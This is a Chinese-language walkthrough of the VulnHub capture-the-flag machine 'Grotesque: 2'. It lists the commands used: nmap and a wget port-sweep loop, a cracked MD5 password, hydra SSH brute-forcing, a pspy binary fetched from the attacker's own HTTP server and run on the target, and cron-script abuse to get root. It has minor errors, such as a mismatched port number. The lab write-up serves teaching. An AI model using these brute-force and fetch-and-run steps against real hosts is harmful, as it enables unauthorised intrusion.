靶机16 GROTESQUE: 2

简介：获取标志（难度：中等）

1、下载靶场

靶机名称：GROTESQUE: 2

下载地址：

Grotesque: 2 ~ VulnHub

2、安装靶场

以DC-1为例，将文件解压（一压缩包形式进行下载）。

打开虚拟机，选择解压好的文件导入虚拟机（ vof 版本高于4.0，点击重试即可导入）

导入成功，开启此虚拟机（当页面出现 grotesque login 时表示安装成功）。

3、获取靶机的flag（两个flag）

前提：

1、已知kali的IP地址（ifconfig）

—— kali IP地址：192.168.108.129/24

2、grotesque和kali在同一网段 | 已知grotesque所在的网段

—— grotesque IP地址：192.168.108.157/24

信息收集

获取grotesque的IP地址

命令：netdiscover -r 192.168.108.157/24

由图可知grotesque的IP地址是：192.168.108.157/24

端口扫描

命令：nmap -sV -p- -O 192.168.108.157

//-sV：扫描系统版本和程序版本号检测，-p-：全端口扫描

很奇怪，这个靶机开了500+个都端口，随便查看了一下各个端口的服务，，发现显示图片和源代码都是一样的

这里需要进行比对wget去把这些页面下载下来看一下文件是否有区别

for i in {23..556};do wget 192.168.108.157:$i -O index$i;done

按照文件大小进行排序，明显最后一个的大小有问题，查看一下256端口

ls -al | sort

在258都那口获取到提示信息

SSH：satan、raphael、 angel、distress、greed、lust

在第二行的图片上面有了发现，虽然有点费眼睛，但是得到一串hash值

再根据提示将hash-100，最后获得hash：b6e705ea1249e2bb7b01d7dac91cd0b3

通过md5解密（https://www.somd5.com/）获得密码：solomon1

使用密码：solomon1和账号：satan、raphael、angel、distress、greed、lust 对ssh进行暴力破解

hydra -L /root/Desktop/g2_user -p solomon1 ssh://192.168.108.157

获取到一组账号密码（angel、solomon1）：

[22][ssh] host: 192.168.108.157 login: angel password: solomon1

使用账号密码（angel、solomon1）ssh登录之后在当前目录下获取到第一个flag

查看是否存在和sudo提权suid提权

sudo -l

find / -perm -4000 2>/dev/null

上传一个pspy64看一下有什么计划任务

python2 -m SimpleHTTPServer 9999

wget http://192.168.108.129:9999/pspy64s、

chmod 7777 pspy64s

./pspy64s

发现差不多每一分钟就会运行write.sh脚本和check.sh脚本

猜测之前发现 /home/angel/quiet 文件夹中有会多文件会不会就是这个脚本写的

删除quiet目录下所有文件后，发现在一分钟左右又会重新写入一堆东西，而且在删除之后发现根目录下新出现一个rootcreds.txt文件

应该是要写文件但是目录满了，所以需要把quiet目录下文件全部删除了才会出现rootcreds.txt文件，查看之后获得了root的密码：sweetchild

使用账号密码（root、sweetchild）切换到root账号，，在root的家目录下发现了第二个flag

靶机16 GROTESQUE: 2相关推荐

靶机17 GROTESQUE: 3.0.1
简介:获取标志(难度: 中等) 1.下载靶场靶机名称:GROTESQUE: 1.0.1 下载地址: Grotesque: 3.0.1 ~ VulnHub 2.安装靶场以DC-1为例,将文件解压(一 ...
实现手机来电铃声，通知铃声、警告铃声等音频定制化功能(三，多媒体扫描结果定制处理)
本篇博文主要是对MediaScanner中endFile方法的处理流程上的重构,以实现需求中的资源区域化定制.处理思路为首先扫描定制分区中的资源,在扫描系统分区下默认资源时判断定制分区西下是否已经存在 ...
sqlserver错误码
错误 6,000 到 6,999 错误严重性是否记录事件说明 6001 10 否 SHUTDOWN 正在等待 %d 个进程完成. 6004 10 否用户没有执行此操作的权限. 6005 10 ...
靶机渗透练习90-Grotesque：1.0.1
靶机描述靶机地址:https://www.vulnhub.com/entry/grotesque-101,658/ Description get flags difficulty: medium ...
HA: SHERLOCK 靶机渗透取证
HA: SHERLOCK 靶机渗透取证靶机描述: DescriptionHA: Sherlock! This lab is based on the famous investigator's jo ...
Docker配置CTF中的靶机环境
0x01 前言之所以整理一篇Docker搭建CTF中的靶机文章,主要是因为最近断断续续遇到需要自己搭建一个服务器端镜像的事,出题或者是部署一些服务,出于安全或者是可移植性的一些考虑,都是需要用到Do ...
【Vulnhub靶机系列】DC3
基本信息 Kali:192.168.61.145 DC3:192.168.61.163 实验过程同样先通过arpscan扫描找出DC3的IP地址 sudo arp‐scan ‐‐interface ...
全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】
靶机地址:https://www.vulnhub.com/entry/imf-1,162/ 靶机难度:中级(CTF) 靶机发布日期:2016年10月30日靶机描述:欢迎使用" IMF&qu ...
VulnHub1：Jangow: 1.0.1靶机入侵
VulnHub1:Jangow: 1.0.1靶机入侵信息搜集: 扫描端口发现命令执行漏洞 uname 一句话木马上蚁剑提权方法1 方法2 VulnHub1:Jangow: 1.0.1靶机入侵 ...

靶机16 GROTESQUE: 2

靶机16 GROTESQUE: 2相关推荐

最新文章

热门文章